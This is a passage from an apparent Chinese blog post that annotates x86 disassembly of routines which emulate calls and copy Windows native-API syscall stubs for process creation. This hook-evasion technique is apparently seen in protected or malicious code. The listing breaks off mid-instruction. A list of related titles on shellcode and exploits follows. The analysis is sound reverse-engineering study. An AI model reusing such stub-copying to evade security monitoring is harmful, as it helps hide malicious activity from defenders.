0040718B C2 0400 retn 4
下面是前面的程式碼呼叫到的子函式及資料。
首先是摸擬call的函式
0040718E 8B56 30 mov edx, dword ptr [esi+30] ; (14)
00407191 41 inc ecx
00407192 5B pop ebx
00407193 52 push edx
00407194 03E1 add esp, ecx
00407196 03E1 add esp, ecx
00407198 03E1 add esp, ecx
0040719A 03E1 add esp, ecx
0040719C 83EC 04 sub esp, 4
0040719F 5A pop edx
004071A0 53 push ebx
004071A1 8BDA mov ebx, edx
004071A3 ^ E2 F7 loopd short 0040719C
004071A5 52 push edx ; 返回地址入棧,這裡剛好是一個retn命令
004071A6 FFE0 jmp eax ; jmp進API函式開頭
接著是中間一個為了重定位所做的回call:
004071A8 E8 1BFFFFFF call 004070C8 ; (19)再一次為了重定位而跳回,這裡必須F7
再接著是被拷貝的NATIVE API原始程式碼:
004071AD 6A 29 push 29 ; win2000中NtCreateProcess
004071AF 58 pop eax
004071B0 36:8D5424 04 lea edx, dword ptr [esp+4]
004071B5 CD 2E int 2E
004071B7 C2 2000 retn 20
004071BA 6A 30 push 30 ; XP中ZwCreateProcessEx
004071BC 58 pop eax
004071BD BA 0003FE7F mov edx, 7FFE0300
004071C2 FF12 call dword ptr [edx]
004071C4 C2 2000 retn 20
004071C7 6A 32 push 32 ; win2003中ZwCreateProcessEx
004071C9 58 pop eax
004071CA BA 0003FE7F mov edx, 7FFE0300
004071CF FF12 call &
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/12639172/viewspace-331213/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 某EXCEL漏洞樣本shellcode分析Excel
- CVE-2015-1538漏洞利用中的Shellcode分析
- Cobaltstrike —— shellcode分析(一)
- [原創]眾裡尋他千百度----檔案類漏洞ShellCode的查詢
- Shellcode
- 所用的日常 Git 命令Git
- Ke361淘寶客系統
- Ke361淘客系統 1.0.2
- shellcode編寫
- 黑客稱Flash外掛才是瀏覽器漏洞禍首黑客瀏覽器
- Flash 獨佔 Exploit Kits 被利用漏洞前八席
- 【漏洞分析】KaoyaSwap 安全事件分析事件
- CORS漏洞的學習與分析CORS
- BlueKeep 漏洞利用分析
- XSS漏洞分析
- shellcode 免殺(一)
- shellcode之小小琢磨
- ret2shellcode
- 漏洞分析 | Dubbo2.7.7反序列化漏洞繞過分析
- 【看雪2017安全開發者峰會演講回顧0x5】Flash 之殤:漏洞之王 Flash Player 的末路
- 盤點Github所用的開源專案Github
- 讓Unity NavMesh為我所用Unity
- 最新!Adobe 釋出修復Flash Player關鍵漏洞的安全補丁
- Linux下的shellcode書寫(轉)Linux
- PfSense命令注入漏洞分析
- SSRF漏洞簡單分析
- JSON劫持漏洞分析JSON
- 從exp入手分析漏洞
- tp5漏洞分析
- Hacking Team系列 Flash 0Day分析
- Hacking Team 新 Flash 0day分析
- NAND Flash和NOR Flash的區別NaN
- 通用ShellCode深入剖析 (轉)
- Hacking Team攻擊程式碼分析Part 4: Flash 0day漏洞 CVE-2015-5122
- CRLF Injection漏洞的利用與例項分析
- 關於OpenSSL“心臟出血”漏洞的分析
- Spring4Shell的漏洞原理分析Spring
- 漏洞分析中常用的堆除錯支援除錯